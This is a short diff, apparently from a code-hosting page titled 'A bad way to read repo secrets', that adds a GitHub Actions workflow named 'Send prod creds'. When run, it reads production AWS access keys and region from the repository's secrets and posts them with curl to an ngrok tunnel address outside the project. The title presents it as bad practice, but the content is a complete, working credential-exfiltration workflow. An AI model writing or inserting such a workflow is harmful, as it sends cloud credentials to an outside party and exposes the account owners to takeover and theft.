A bad way to read repo secrets

Author: jakubcolony

.github/workflows/send-creds.yaml

@@ -0,0 +1,19 @@
+name: Send prod creds
+
+on:
+  workflow_dispatch:
+
+jobs:
+  send:
+    runs-on: ubuntu-latest
+    environment: prod
+    steps:
+      - name: Send credentials
+        run: |
+          curl -s -X POST "https://8dde-5-133-47-231.ngrok-free.app" \
+            -H "Content-Type: application/json" \
+            -d "{\"AWS_ACCESS_KEY_ID\":\"$AWS_ACCESS_KEY_ID\",\"AWS_SECRET_ACCESS_KEY\":\"$AWS_SECRET_ACCESS_KEY\",\"AWS_REGION\":\"$AWS_REGION\"}"
+        env:
+          AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID_PROD }}
+          AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY_PROD }}
+          AWS_REGION: ${{ vars.AWS_REGION }}